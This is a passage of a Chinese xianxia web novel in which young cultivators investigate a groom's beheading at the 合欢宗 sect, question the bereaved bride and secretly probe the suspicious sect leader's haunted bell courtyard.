姜瑜微微偏了偏头,朝身后的沈晚宁说道。
此时他们已经走出小路,来到了客居大院,沈晚宁几步走到姜瑜身侧,出声问道:“我总觉得方才那位钱宗主看你的眼神不对劲。”
“他儿子失踪,才看你一眼,莫名其妙就挂着笑跟你客气寒暄了起来。”
姜瑜眼睫微颤,思考过后看向身后心不在焉的应不妄,才问道:“师弟也这么觉得吗?”
此时一手拿着糖葫芦,另一只手握着常远送给姜瑜的糖画的应不妄这才反应过来,他面无波澜的扫了她们一眼,随后摇了摇头说道:“我没注意。”
姜瑜点点头:“此事我们目前不便过多掺和,若是明日新郎官找出来了,正常完婚,然后去玄铁门。”
“若是新郎没找出来……”
她话说一半突然顿住,随后面上换起一副严肃的愁容:“那麻烦可有点大。”
“会有什么麻烦啊师姐?”沈晚宁顺势问道。
“吃不上酒席了。”姜瑜回。
话到此时,应不妄抬眼看向身前一副愁容满面的姜瑜,觉得好笑:“师姐这么期待吃酒席啊?”
53. 好消息新郎自己回来了
“当然。”姜瑜回答道,随后面上带着笑意,转身背对着他们,随后朝自己的屋门走去,“有人能拒绝美食吗?”
“与其瞎操心,不如去睡个好觉。”
沈晚宁思索过后,眉毛舒展开来,随后笑盈盈的对身后的应不妄打了个招呼,便朝自己屋门的方向走去。
夜光下,只留应不妄一人驻足在原地,他瞧着少女那抹身影直至消失于自己眼前,随后突然轻笑一声。
他转了转左手中的糖画,方才片刻的愣神中,他居然好奇上了他这个师姐未来的酒席会是什么样子。
*
晨阳高挂,飞到枝桠上的鸟儿在院内忍不住高歌一曲,姜瑜睡得正香,不巧被一阵急促的敲门声惊醒。
她翻了翻神,单手支撑着床面才稳稳坐起身来。
屋门从内而开时,姜瑜睡眼蓬松的揉着自己的眼,她眨了眨眼面上还打着哈,朝身前的沈晚宁问道:“大早上的什么事这么急?”
沈晚宁站在门前犹豫再三,缓缓伸出一只食指才说道:“有一个好消息和一个坏消息,师姐先听哪个?”
姜瑜微挑了挑眉,她半倚靠在木门上,淡然问道:“好消息?”
“好消息是今天新郎官自己送上门来了。”沈晚宁吞了吞,旋即回道。
“哦。”姜瑜微微点了点头,才补充道,“那我今日是能吃上宴席了。”
话落,沈晚宁又摇了摇头,她随后补充道:“坏消息是师姐可能吃不上喜宴了。”
没等姜瑜反应,沈晚宁续而说道:“不过,还有一个消息...”
她说到这,旋即顿了顿,犹豫片刻后才说道:“我不确定是好的还是坏的。”
姜瑜:?
“师姐喜宴是吃不上了,这丧宴或许...有机会?”
……
话音刚落,姜瑜听到这早起的头脑瞬间清醒过来,她随后朝屋内走去顺手抓起自己的外襟,迅速穿戴整齐后,为自己随意扎了一个单侧麻花辫就大步出门了。
沈晚宁则是一路几近小跑着跟在她身后,她皱着眉才补充道:“新郎是今日天刚微亮时,被人砍下头颅,装进盒子里放置大门中央的。”
姜瑜听到这,面上严肃的表情更甚。
好消息新郎官自己回来了。
坏消息,他只来了一个脑袋。
穿过几条弯绕小路,没走多久她们便来到了这恍如宫殿一般的巍峨主院内,姜瑜一大远的就瞧见主殿内大开着屋门,殿堂内站着一群乌泱泱的人。
大殿牌匾上的红色喜幔还没来得及撤去,随着秋风飘扬而出的一抹红色再配上屋内的悲鸣声时,倒显得格外的扎眼。
姜瑜走进时,一群人围着中间的钱正业,而此时的正主则在殿中央抱着一个精致的镶金木盒在屋内失声痛哭。
她一眼就瞧见了站在他身侧不远处的裴恒之,两人相视一眼后,都默契的站在原处没再说话。
“我就这么一个儿子。”
“我好不容易将他拉扯大,他究竟得罪了什么人,要他非得死在大婚的前夜啊!!”
“天理不容!天道不公!!”
钱正业扯着嗓子在屋内叫唤着,说到底合欢宗毕竟是玄铁门门下的附属宗门,为首的玄铁门首席弟子率先出声安慰道:“钱宗主,逝者安息。”
姜瑜这才抬眼扫向身前那位穿着一身玄墨色的男子,观察过后再度扫向屋内的另一批身着素白衣襟手持长剑的人——想来那就是北原苍梧山门的弟子。
九州大陆内有四大宗门,分别有:东原青冥宗、南原紫星阁,西原玄铁门、北原苍梧山。
钱正业这时方才想起扫向身前的一众弟子们,随后只见他脚下一软,“扑通”一声,跪倒在地。
他脸上早已泪流满面,周围的一众人被他这一阵仗吓了一条,那名为首的玄铁门弟子率先弯下腰顺势就要去搀扶他:“您老这是做什么?”
“各位少侠,此前我们因我儿大婚而相逢、相遇,如今我儿遭遇不测...”
钱正业说到这,语气不自觉的哽咽住,随后只见他不顾他人阻挠,低下头就要往地板上磕去:“还望各位少侠看在我们相逢是缘的份上,替我儿找回一个公道!”
“钱宗主你不必这样,此事我玄铁门自当竭尽全力搜查此事。”那名玄墨色弟子皱着眉,双手才用了些力气,将他扶起身来。
“各位少侠有勇有谋,钱某无以为报。”钱正业说罢,又往地上磕了一个头。
就在此时,应不妄睡眼蓬松、双目无神的正朝殿内走来,刚好瞥见这一幕,才走到姜瑜身旁,面上不显情绪,小声开口说道:“师姐,看来你真的要吃不上宴席了。”
姜瑜给了他一肘击示意他不要多说话,而后者被她轻轻肘了一下,顺着目光看向她那随手扎着的麻花单侧辫出神。
再抬眼望向殿堂中央时,钱正业已然被那名玄铁门弟子搀扶起身,他小心翼翼的抱着那个木盒,转了一圈,朝周围扫了一眼才说道:“那钱某就在此再次谢过诸位少侠了。”
“别。”话音刚落,姜瑜先前观察到的素白色为首弟子抬起手来,打断过后上前一步,才补充道,“我等奉掌门之命前来祝贺,遭此事故我也深表痛心。”
“不过掌门并未与我等下达过为您纠察到底的命令,还望钱宗主见谅,我等苍梧门下弟子恕不奉陪。”
话落,那为首的苍梧门首席弟子,提着长剑绕过钱正业等一众人,大步迈出屋门。
姜瑜瞧着他们离去的背影,小声啧了两声,侧头对身旁的沈晚宁和应不妄吐槽道:“死板。”
“人情世故都不懂,我看这苍梧门以后若是落到他们这种人身上,迟早完蛋。”
“话说回来...”沈晚宁转念一想,话锋一转超身侧的姜瑜出声问道,“咱师父跟他们门派有什么关系?”
“前有苍梧山,后有青冥宗的苍梧长老。”
姜瑜摇了摇头看向沈晚宁,随后回道:“这是个好问题。”
“我也不知道。”
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话落时,钱正业不巧扫向了姜瑜这边刚好与她对上了眼神,随后只见他朝身侧的裴恒之走去,问道:“裴少侠、常少侠,你、你们也不帮我这把老骨头吗?”
常远听后先是摇了摇头,随后想到了什么,又朝他点点头:“我可以留下来,但不能保证一定会捉到凶手。”
裴恒之嘴唇微张了张,还未来得及开口回话,只被姜瑜抢先一步说道:“这个忙,我们青冥宗会帮。”
“不过事发突然,裴师兄在此之前便已有了行程要事,钱宗主若是不介意的话,我留下来也是一样的。”
姜瑜紧绷的小脸藏在碎发之中,为她平添了几分破碎之感,钱正业回看过去,怔神片刻,才慌忙回应道:“多谢姑娘,多谢姑娘。”
姜瑜微微点点头以做回应。
*
离开主殿时,姜瑜脚下步伐走的慢,她一副心不在焉的样子往院落中去,沈晚宁这会正跟在裴恒之那边打探大题消息,此时她的身后只有应不妄懒懒的跟着。
他跟在姜瑜身后,他眼帘低垂,脚下不自觉的踩起她落在地面上的影子。
不多时那抹影子陡然驻足于原地,应不妄懒懒的掀了掀眼皮,只见姜瑜转过身来,皱巴着眉心朝他说道:“这事师弟怎么看?”
“什么怎么看?”应不妄反问,他唇边染上一层笑意,随后盯着身前姜瑜一头燥乱的乌发,才开口说道,“不会有人无缘无故死去。”
“杀人总要一个理由。”
“师姐何不想想,人家为何只杀他家新郎,不杀别家的新郎?”
应不妄的这一通话倒是点醒了姜瑜,只见她眉头稍缓,一副明亮乌黑的眼眸陡然看向身前的少年,她竖起一根纤细的手指分析道:
“失踪的是新郎,被砍头的也是新郎,既然选择了让他死在婚前前一夜,这么说来...”
“那新娘在哪?”
姜瑜一个激动下走错了小路,她跟着应不妄再度在不知不觉中走进了那个有一座大钟的奇怪院子。
她脚下还没走上几步,周遭昏暗如初,迟疑之时刚要往回走时,前方一道光亮再度从余光中撇来,那声钟响恰在此时,漫进了他们耳中。
姜瑜率先反应过来,她指尖法诀一掐,一道屏障顺势飞出,隔绝了她和应不妄对那道钟声的幻听。
她越想越不对劲,为何此钟只有在凑近这个院内时才可以听得到,而她所住之处于这里不过上几步路的距离,反观从那里她从未听到过这阵怪异的钟声。
思及此,姜瑜脚下不自觉的往前探了几步,而在她身后的应不妄在察觉到不对劲后,手上应势化处几道符纸以做戒备。
光线再度刺眼的漫入他们眼帘时,两人都下意识的抬手遮住一部分光线,再睁眼时,眼前一幕率先映入姜瑜的视线——
只见一副干瘪的尸体,周遭爬满了蚊虫,一副受到了惊吓的模样僵硬在小路出口。
而那具尸体所在的位置,就是前几天应不妄折断那名男子手指的位置。
54. 铜钟…新娘
姜瑜看到后下意识抬手捂住她的鼻口,一股恶臭味顺着鼻腔直漫大脑。
应不妄顺势掐起一道符纸,隔绝了他们对外界的气味,再抬眼看向身前的姜瑜时,她已绕过那具干尸,朝不远处的大铜钟走去。
钟声被法咒隔绝在外,约莫两人宽大的铜钟此时随着空中刮起的几阵秋风而微微摇晃着。
应不妄低头扫了一眼摆在正中央的干死尸,大步走到姜瑜身旁,此时他们二人的听力隔绝着外界,两人无声相视一眼。
姜瑜抬手抚上那铜钟时,那座巨钟似是收到了强烈的波动,瞬间四散声纹。
应不妄率先从手中甩出一道黄色符纸,两人被那道波声阵的连连后退了几步后,只见一道亮眼的刺光扎入眼底。
强光过后便是一旁寂静,姜瑜颤了颤眼睫,她再度上前,只见钟身周围围绕着一群繁琐符文。
随着符文的盘绕,它们围绕在钟身周遭,片刻后,符文旋即随着钟声的旋律逐渐幻化成几副图画。
姜瑜眯了眯眼,朝那几副图画看去时,只瞬间她脸上霎然染起一抹绯红,随后不等应不妄凑近前来,她一个转身伸出手来将他拉走,一套动作行云流水。
被拉走的应不妄则满脸茫然的看向她,随后往身后侧头撇了一眼,虽瞧不真切但也能猜出来大概,他耳尖处也霎时染起一抹红晕,抿了抿唇没再多说什么。
姜瑜埋头扯着应不妄的袖口,也没顾走的是哪个方向,只觉再停下来时,身前便已然来到了一间破旧的屋门前,她愣住,随后开口道:“不对劲。”
应不妄听到姜瑜声音后也缓缓抬起头看向那所破旧的屋门,随口问道:“什么不对劲?”
“这里不对劲。”姜瑜回道,随后她松开先前扯着应不妄的袖口,转身看向他时,眼底闪过几分笃定,
“钱正业如此虚荣爱富的一个人,怎会容忍这里留下这么破旧的屋门在这儿?”
应不妄听后挑了挑眉,他适才问道:“师姐就如此笃定,钱正业是一个虚荣爱富的人?”
姜瑜闻言眼底闪过一抹的意,她嘴角微微勾起,随后才说道:“师弟观察的不仔细了。”
“先是给我们安排的客院,且不说住处有多华丽辉煌,他这人连盛放他儿子头颅的木盒子都镶了金子。”
“其二,就属主殿上挂的牌匾。”
“那可是御赐牌匾,象征了皇室荣誉,和他们合欢宗的门面。”
“由此看来,”姜瑜话说到这,她眼睫眨了眨,先前脸上的那抹红晕也由此散去,她道,“钱正业虚荣、爱富。”
“师姐观察的倒是仔细。”应不妄瞧着她那巴掌大小的脸庞,眼底笑意不减。
随后只见他抬手就要推开那扇破旧木门,还未触及时,一道声波纹路由屋内散开而来。
姜瑜反手从虚空中化处一柄长剑格挡与身前,那道声波震到了院内的大钟。
随之传来荡荡回响,触及先前院内那具干瘪尸体时,随后瞬间在原地崩裂开来。
尸块被炸的四分五散,蛆虫只在接触到声波的瞬间,化作道道灰烬。
姜瑜他们离得远,事态又是突发,她手中长剑还未落下,只见高空中瞬出一抹微胖的身影,随后便是那副熟悉的脸再入眼帘。
钱正业手中断断飞出数道白色符纸,钟声随着符纸的靠近缓缓停止了振动。
姜瑜再抬眼时,钱正业已然近身二人眼前,他面上不显情绪,在看到姜瑜后四目相对之时,脸上瞬间挂起笑意,完全不像刚死过儿子的模样:
“姜瑜姑娘,之前忘记告诉姑娘了,家有奇钟,乃我镇宗之宝。”
“此番无意惊扰姑娘,还望见谅。”
钱正业说罢作势就要躬身道歉,姜瑜见状忙抬手止住,随后说道:“是我们事先误入此地才引发如此的,该道歉的是我们。”
说罢,姜瑜也虚抱起拳朝前方躬身一欠,见一旁的应不妄不为所动,下意识抬手碰了碰他,他收到动静后只微微眯了眯眼,随后开口问道:
“钱宗主,不知此院是您拿来养什么的?”
话落时姜瑜刚好抬起头来,瞥到了身前的钱正业面上微微一愣,随后他又将本就不大的眼睛挤成一条缝,他回应道:“钱某不才,不知这位少侠所谓何意?”
应不妄轻轻勾起唇角,面上笑着却让钱正业感受不到丝毫笑意,只听他道:“没什么,是我想多了,还望钱宗主不要见谅。”
说罢,他抬头朝不远处点了点头,随后补充道:“我看这里鲜有人扫撒,就连院内死了个人都没人知道。”
钱正业顺着应不妄的目光看过去,只见地上不显血渍,尸体早已干的只剩下表层一副脆脆的皮囊,方才又经历过声波的袭击,此刻更是面目全非。
钱正业作势便装出一副惊愕的表情,他连忙快步上前,指着地上四分五散的尸块才磕绊说道:“这这这、这是怎么回事?”
随后他朝院外大喊:“来人!快来人!给我彻查此事,若是让我揪出来是谁草菅人命我非拔了他的皮不可!”
话落,便顺势涌进来数名宗内弟子,他们手中握着剑,来势汹汹,在见到尸体后便又自觉的纷纷捂住鼻口。
姜瑜抬眼与身旁的应不妄相视一眼,随后几步上前才适当出声道:“此事就劳烦钱宗主了,我们也不便过多打扰,过后再会。”
说完她便同应不妄抬脚折返回原路,等看不到那几抹身影时,姜瑜才开口问道:“师弟方才所问之话,是什么意思?”
“他养了什么东西吗?”
应不妄闻言垂了垂眼,看向姜瑜的眼眸时闪过一副别样的情绪,随后他别看眼往别处看去,嘴上才开口说道:
“九州大陆的十大禁术。”
“有一个是以亲族人血为祭,用来滋养已经逝去的骨肉灵魂,达到一定程度后,亦可提升自身修为。”
话音落下时,应不妄又将视线挪到了姜瑜的脸上,只见她紧绷着一张小脸,随后出声问道:“那钱正业可用了禁术?”
应不妄摇摇头,才说道:“我不确定。”
话落时,似乎觉得自己这句话没什么可信度,随后又补充道:“甚至可以说是根本没把握
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。”
“我没见过能够用声灵攻击且如此强势的魂魄,还有那具死尸,很蹊跷,先前我断过他的手指,可今日见时那尸体的骨指没有任何问题。”
“师弟的意思是,此人并非先前那个断了手指的人。”姜瑜淡然问道。
“不好说。”应不妄依旧摇摇头。
两人谈话间不知不觉已然来到了客院的小路间,他们一前一后的走着,姜瑜先是呼出一口气,随后说道:“不管跟十大禁术有没有关系。”
“总之,这个钱正业肯定有问题。”
“之前钟声骤响时,那么大动静都没等来他们宗内的弟子,钱正业一嗓子嚎过去人就一股脑涌出来了。”
话音刚落,他们前脚刚买迈入院内,就见裴恒之和沈晚宁他们二人往这头走来,目光交汇间,几人走进后,姜瑜率先开口问道:“你们这是要去哪?”
沈晚宁光速扫了一眼裴恒之,随后说道:“今早师姐在殿前不是说此时交由我们吗,裴师兄他放心不下,想着能够早日找到凶手,好安心去玄铁门再追究禁术一事。”
姜瑜听后,她的视线从沈晚宁脸上转移到裴恒之的脸上,出声问道:“那你们现在是?”
“去找新娘子。”沈晚宁抢先说道,后又觉得不妥,才补充,“准确来说,是去找没来得及大婚的新娘子。”
姜瑜听后微扬了扬眉,随后淡然开口说道:“那我们一起吧。”
她扭头看向身后的应不妄,他面上不显情绪,随后开口说道:“师姐想去就去。”
*
不多时,四人一道瞬身符纸已然来到了一处悠静小院,小院坐落于人烟稀少之地,周围安静的出奇。
迈入院内时,一阵阵抽泣声不免从简陋的小木屋内传来,院内屋门大开,周围的红色窗纸还未来的及卸去。
姜瑜犹豫片刻,最先抬脚走入屋内。
入目便是惯常的家用陈设,粗略的木制桌子旁坐着一位身着华丽婚服的少女,她身上的华丽此时再配上她满脸的泪水,倒显得与这里格格不入。
苏玉珠见到姜瑜的一瞬间呆愣片刻,止不住的抽泣声在屋内传开,她面上的粉脂被泪水晕染,原本精致的妆容此时已然斑驳。
姜瑜话到嘴边张了张,终是没能说出什么话来,反观那位穿着红艳的苏玉珠抬手随意的擦了擦脸上的泪珠,最先开口说道:
“你们若也是来向我询问关于有才当日行途的,那恕我无言告知。”
“婚前一日,我都未与他见过面。”
苏玉珠态度决绝,她并未正眼看着姜瑜,手上紧紧握着一枚玉簪,指甲嵌入骨肉里在手掌中掐出几道血印。
姜瑜上前一步,动作轻柔,抬手缓缓将手覆于她的手背上,才出声道:“姑娘节哀,想必今日有不少修士前来找到你。”
“我们不是来质问...或者是来审讯你的。”
话及此时,苏玉珠这才扭过头抬眼看向身前的姜瑜。
她微张了张口,话还未说出时,里屋内一位身着朴素的妇女人便手提着扫帚就要往姜瑜身上砸。
55. 逝者已逝
姜瑜反应及时侧身躲过,扫帚重重落下将她身后的木制凳子拍至散架。
她一个转身还未来得及张口说话,那位妇女抬手又是一棍,嘴里还时不时嘟囔着:“休要来打扰我女儿的清闲,赶紧滚出我家!”
“不是的阿婆,我们并非有意,也没想刻意提及姑娘的伤心事,只是有些东西总得查出来的水落石出,让逝者安息。”姜瑜连连后退至屋门口。
那妇人像是锁定了她似的,又一记棍棒袭来时,应不妄手中的黄色符纸应空而出,将那桩木棍团团围卷开来。
妇人手中武器被人夺去,她转眼恶狠狠的瞪向应不妄他们一行人的方向。
空余之隙,沈晚宁紧绷着脸率先出口提醒:“阿婆,如师姐所说,我们只是来问一些问题,抓住幕后凶手,还受害人一个真向。”
苏茹慧站在原地大口喘着粗气,她面上除了悲愤再无其他深情,就在这时,方才一直安静的端坐在桌前的苏玉珠这时突然扭过头来,淡淡的喊应道:
“娘,我可以。”
话落时,她顿了顿,眼眶中恰好落出一滴适实的泪珠,随后只听她说道:“我可以接受与她们一同接受调查,我要找出凶手,还他一个安息。”
说及此,那位被她叫做“娘”的苏茹慧神色微顿的晃了晃,她吞了吞随后缓缓转过身去看向身前不远处满脸疲惫的红衣少女:“玉珠……”
苏玉珠将玉簪放置桌上,两者相碰间发出一阵清脆的响声,她站起身来抬手用袖口随意的擦拭去满脸的狼藉。
她费力的扯出一抹笑意,扫向姜瑜他们一众人,旋即沙哑着嗓音说道:“诸位远道而来,小女此前有诸多礼仪招待不周,今日本该...”
“本该是你们参加我与有才婚宴的好日子,我也没想到会发生这样的事,还得劳烦各位为此操劳奔波。”
“诸位先坐。”
说罢,苏玉珠便抬手做了个请示的动作,随后她几步上前,搀扶起那位白发妇人,几声低语,便将她带近了里屋。
姜瑜几人相视一眼,随后再度踏近屋内。
不多时,苏玉珠便从里屋跨步而来,她卸去了面上晕染的胭脂水粉,顺道将沉重的婚服外衣腿了去,一身朱红色搭配金色绣纹,更显她干净利落。
她面上憔悴的笑着,随后从桌上倒出几杯透凉的淡茶水,招呼他们坐下后,她自嘲的笑了笑,随后一字一顿道:
“我爱钱有才,很爱、恨爱。”
姜瑜坐在桌前,听着身前的这位红衣少女说道着——
其实他们两对新人所经历的,跟那天她在街道上听得话术大差不差。
不过是钱正业贪玩成性,有一次与他那几位纨绔子弟打赌输掉后,便一个人趁着天黑去了荒郊后山,就是为了给他那几个狐朋狗友展示他真的会灵力法阵。
但他自身素日里又少于修炼,除了会斗蝈蝈和打牌九,其他的概不通晓却也依旧撞着胆子去了。
夜间多蚊虫鸟兽,钱有才自己一个人才走了半路就把自己吓了个半死,不巧脚下又被绊了一脚,随后滚落至山路旁晕厥了过去,后被苏玉珠上山采药时发现的。
“家中本有一位阿弟,后来阿弟跟着阿耶出门采药时,失足坠崖了。”
“阿耶为了救阿弟,也坠了下去。”
“而我的阿母自那天起就病了。”
“她总是精神失常将我认成阿弟,整日神神叨叨的唤我。”
钱有才醒来后便对身前这位万劫不屈的少女一见钟情,经过一次次的坚定选择,苏玉珠这才好不容易答应了他。
“我也没想到,我也想不到,究竟是谁与他有深仇大恨,还是与我有什么深仇大恨……”
“我马上就能成为他的夫人了。”苏玉珠话说的越来越激动,她小声抽泣着,随后重复道,“本该今日过后,我就是他名正言顺的夫人了。”
姜瑜看着面前的少女,一时间竟想不出半分安慰人的话语,她长长的眼睫微微颤了颤。
爱人亦或者亲人阴阳永隔,莫过于是世界上最痛心疾首的事情。
而苏玉珠,她经历了三次。
姜瑜他们几人听后皆是一阵沉默,这时裴恒之率先出声安慰道:
“逝者已逝,生着如斯,现如今需要我们最该做的就是抓出幕后之人,让钱少主安息下黄泉之路。”
苏玉珠听到着,随后吸了吸鼻子,她抬起眼来扫向周遭,随后说道:“那就麻烦诸位少侠们了,请你们务必、找到那幕后之凶。”
*
回到合欢宗时天色已然降暮,夕阳擦过姜瑜的发丝,映在她的面庞上,她自己一个人在路上走的安静,全程没有再说一句话。
应不妄跟在她身后,两者的影子交叠在一起,他犹豫片刻随口出声问道:“师姐还在想今日苏玉珠的事?”
他们四人在走到合欢宗主院事,便就各自分头了,沈晚宁想着去膳堂拿些吃食,裴恒之则要去找钱宗主问些事由。
如今在回屋院的路上,只有应不妄和姜瑜他们两人,她听后稍稍一顿,她背对着应不妄微微抬起头来,轻声干咳了两声方才找回自己的声音:
“师弟,要是万一...”
“我说万一,万一哪天我们几个人会因为什么误会错解了彼此,甚至关乎到了人身道义立场和利益生死。”
“亦或者更糟,譬如我遭遇了什么不测...”
余音刚落时,姜瑜话说了一半,被应不妄一指咒术封住了嘴,她微微愣住,随后抬眼撇向缓缓走至身侧的应不妄。
只见他一脸认真,喉咙滚了滚,随后一个响指才解除了姜瑜嘴上的禁锢,随后说道:“师姐是绝对不会、且万不可能会出任何意外。”
姜瑜怔怔的看着身前满脸认真的少年,随后听他再度笃定的开口说道:“我不会让师姐遭遇任何不测。”
“我不喜欢听你说这些话。”
姜瑜听到这眼底微颤,闪过一丝别样的情绪,随后她面上露出一抹笑意,才出声道:“我都说了是万一了。”
“况且未来谁比较厉害还说不定呢,哪有师弟保护师姐的道
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理。”
“不管是你,或者晚宁,亦或是裴师兄,更甚还有师父...”姜瑜说道这便掰起手指认真的念着,随后补充道,
“都是我姜瑜罩着、且决不可能会让你们出任何意外的。”
话音刚落,方才还满脸认真的应不妄传来一声轻笑。
他不再去看眼前姜瑜的神情,往前走了几步朝自己房门的方向走去,才出声道:“我看师姐还是先顾好自己吧。”
“这么多人你都要罩,我看九州末劫将至的时候,你顾得上哪个。”
话音落下时,姜瑜站在原地反应了好一会才反应过来应不妄说的话。
她旋即皱起眉来,再抬眼时应不妄的身影早已消散于眼前,只余下一抹将要散去的夕阳,和屋内骤然亮起的烛火。
*
姜瑜吃过沈晚宁从膳堂拿来的山珍海味之后便早早更衣躺回了床上。
她身着一身素白里衣,屋内烛火徭役,她望着头顶上微微摇晃的纱帐,脑子里出神片刻,像是突然想到了什么。
姜瑜旋即从指尖幻出一道灵力,周身运转的同时,再度探到了她那残缺的双灵根依旧久久不愈。
依照她先前在青冥宗攒过的剧情点数,根本不足以修复她的残缺灵根。
若非周身灵力相助,她腿上的残伤依旧会止不住的痛楚。
在脑海深处的记忆中,她总觉得自己腿上的旧疾会有专门的一段剧情介入,但她苦思冥想过后,却始终记不起来原书具体的剧情。
就目前来看,她除了还记得她要只身挡剑外,其余的情节貌似与原剧情的记忆有所脱节。
她还来不及细想,门外一阵敲门声打断了姜瑜的思绪,她回过神来随手套了间外披衣襟就往屋门前走去。
此时夜已入墨,姜瑜能想到这个时间点来的无非就是沈晚宁,毕竟也就只有她总爱半夜找她来探讨聊唆一些法阵上的问题。
屋门被人从内而开,姜瑜再抬眼时,面上微微一愣,随后张了张嘴才出声问道:“钱宗主?”
只见钱正业面上陪着笑,他微微侧身从身后的侍女手中接任道一个食盒,他将那木制镶金的食盒递送上前时,姜瑜甚至都还没搞清楚状况。
只听他开口说道:“姜瑜姑娘,深夜打扰多有得罪,这是我兰沧郡独有的糕点,特拿来给姑娘尝尝。”
姜瑜底下头去瞧着身前递过来的食盒,她伸出手接过,还未来得及客套几句,就听身前的钱正业连忙补充道:
“那钱某就先不打扰姑娘了,还有几位少侠没给送到。”
姜瑜这才适当开口说道:“有劳钱宗主了。”
待钱正业走远后,姜瑜并未着急关上屋门,她微眯了眯眼,眼底的神色旋即暗了下来。
抛去“虎毒不食子”这一概念理论,就算钱有才跟他没有半分干系,他这个人手脚也不怎么干净。
她从食盒中捏起一小枚糕点,在手中细细端详片刻,随后转身将食盒放置桌面上。
糕点被放回原处时,屋内已然没了姜瑜的身影。
56. 偷鸡不成蚀把米
姜瑜跟着悄然跟在钱正业身后,趁着夜黑一路追走至绿植小路旁时,再眨眼间的功夫人就不见了。
她反应过来时皱着眉左右扫过去,昼夜漆黑之中,杂草泥地里不断传来虫鸣声。
她往钟院深处看了一眼,思索再三过后,转身原路朝院内另一处房门而去。
屋门被人叩响时,应不妄那张不耐烦的脸在见到姜瑜时微微一愣,他抬手按了按燥乱的头发,方才沙哑着嗓子开口问道:“师姐?你怎么来了?”
他在自己听到这声沙哑的不成样子的声音后,没忍住轻声咳了咳,才再度出声道:“怎么满脸愁容的?”
姜瑜眉毛紧紧皱着,随后她朝院内黑夜深处瞧了一眼,甩给他一块玄黑色遮面布,才回道:“跟我去办点事。”
应不妄接过那块面罩,他两指将其捏到空中晃了晃,端详片刻,随后眉毛微挑,出声道:“师姐怎么净想着带我去干些偷鸡摸狗的事?”
“这次我们是有被准许来查新郎案情的,不能光明正大的吗?”
姜瑜轻撇了他一眼:“让你跟我去查新郎他爹,也能光明正大的吗?”
“别废话,戴好跟我走。”
说罢,姜瑜也顺势遮上自己的半张巴掌小脸,转身朝院外走去。
应不妄不再多问,一路上跟在姜瑜身后,始终沉默,直到他听到身前之人再度出声道:“你觉得钱有才的死,跟钱正业有多大干系?”
“虎毒还不食子呢。”应不妄懒洋洋的抬眼望过去,才补充道,“你居然也能怀疑上他?”
“看来师弟不怎么看好钱正业?”姜瑜在月光照映下,眉梢微挑,很是意外的看向身侧的少年,随后听他解释道,
“就那个油滑老头,平日里除了会些阿谀奉承、见人眼色、看人下菜碟外...”
应不妄话至此时,他微微顿了顿,随后才补充道:“倒是什么缺点都给他占了。”
姜瑜听后反倒轻笑一声,她不再去看身侧的应不妄,兀自往前快步走了两步,才说道:
“明眼人都能看出来的,但倘若一宗之主真的如师弟所说那样,浑身都是缺点的话,我估摸着他也坐不稳这宗主的身份。”
“就算钱有才的死跟他没关系,那这也并不代表他不是伪善之人。”
“这些不该我们管。”沈晚宁出声提醒道。
“若是真的与九州十大禁术有关,真的跟裴师兄灭门之仇有关。”姜瑜犹豫片刻,方才扭头认真的看向身侧的应不妄,“那我们该不该管?”
应不妄听到这,夜幕之中他唇边燃起一抹不易察觉的危险笑意,随后他颇为平淡的补充道:
“那师姐今夜不如直接去找裴恒之,让他陪你一同去干这偷鸡摸狗的事得了。”
姜瑜没有听出应不妄的言外之意,她只是颇为自然的脱口而出:
“裴师兄这两天心神不定,需要安心静养,不适合再过多劳神。况且我跟你呆的时间长些,我俩办事有默契,效率高。”
“……”
应不妄掀了掀眼皮朝她看去,嘴边张了张,终是没再回她。
两人脚下不知不觉间已然走进了那所宽大的钟院,先前那具被声纹四分五裂的干尸已然被宗内弟子清理干净,一眼望过去再无任何痕迹。
姜瑜抬眼看向上空之中,空中明月依旧,恰好投过钟亭的缝隙映到在她的半张脸上。
院落很大,除了入口这一块,其余地方都围建着一排排的廊道,廊道以朱红色柱子支撑着。
不过刚入了这道院内,周遭陡然卷来一阵阴风,透过领口袭入全身,让姜瑜起了一身鸡皮疙瘩。
随后她扭头向远处看过去,脚下直冲白日里没来得及推开的那扇屋门。
应不妄向周遭扫了一眼,没察觉到什么不对,抬脚跟在姜瑜身后走了过去。
穿过钟亭,木门依旧,姜瑜手中幻出一张符纸,不等她将其注入灵力,只听一道断断续续的声音从院落内传开。
姜瑜讶异的扭过头去看应不妄,显然他也听到了这阵极轻的声音。
再细听,似是女人的叫喊声,他们循着声音探过去时,方才跨过一道壁廊,院内最角落的屋内不见烛火,只余女人一阵阵的呻吟声。
姜瑜的听力要远超应不妄,她在其中还听到了一阵阵粗声的喘气声音,不多时,一阵阵灵线顺着屋内穿出来,期间还夹杂着几道温热的触感。
应不妄紧随其后走进后微微一愣,没等姜瑜再抬脚往屋门前探去时,便反手将她揽回来。
而后调转了个方向,动作轻柔却不失力道,将她扯回了原先那道破败木门前方。
姜瑜站定后狐疑的看向身前的少年,月色朦胧,她瞧不见少年脸上的红晕,只听他近乎哑着嗓音还一本正经的开口说道:
“师姐我觉得正事要紧,院内既有人,开门时动作小点。”
话落后,他便扭头不再去看姜瑜。
姜瑜虽有所迟疑,但手上的动作依旧没有停顿,她手指间捏着一纸符咒,灵力运转间陡然化作几串符文,那符文顺着她的胳腕化作灵线悄然漫入铁锁。
发锈的锁芯被灵力冲开的同时,似是某种禁制也被随之打开,几道阴风适实的刮来,攀上姜瑜的脖颈。
也只是眨眼的瞬间,院内钟声骤然响起,声音之大,也像是突破了某种禁锢,瞬间冲散了整个宗门四处,乃至兰沧郡街道之中。
姜瑜一时间被振的头晕,她单侧抬起手抚上额角,一旁的应不妄见状忙从指间掐起一阵符决,隔绝掉外界声音之后,这才堪堪稳住身型。
此时已然骤夜,漆黑如墨的夜色之中,也只有悬与高空之上的皎皎明月映出一抹光线。
声纹骤然响起的同时,整个宗门内瞬间灯火通明,屋内都适实的染起了烛火。
姜瑜眼睫微颤,她抬眼看向身旁四目相对时,她无声的做了一个口型:“完了。”
应不妄看着身前的少女,还未等他们做出什么反应,院内最靠里的一间屋内瞬间也染起烛火,只听屋门被人从内打开,大老远的就瞧见一副
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微胖身型朝这边走来。
姜瑜扭头看过去时,心里闪过一丝苦笑,这下偷鸡不成蚀把米,人赃并获,能跑到哪去。
钱正业此时一边理着亮黄色衣襟,一边朝这边匆茫走来,期间他手中再度扬起几道白色纸张,纸张中由朱红色画着一道道符咒。
那似是白色符纸的东西,在钱正业催动灵力的瞬间依序飞落至空中,在院内绕了个圈,随后盘旋于钟身周围。
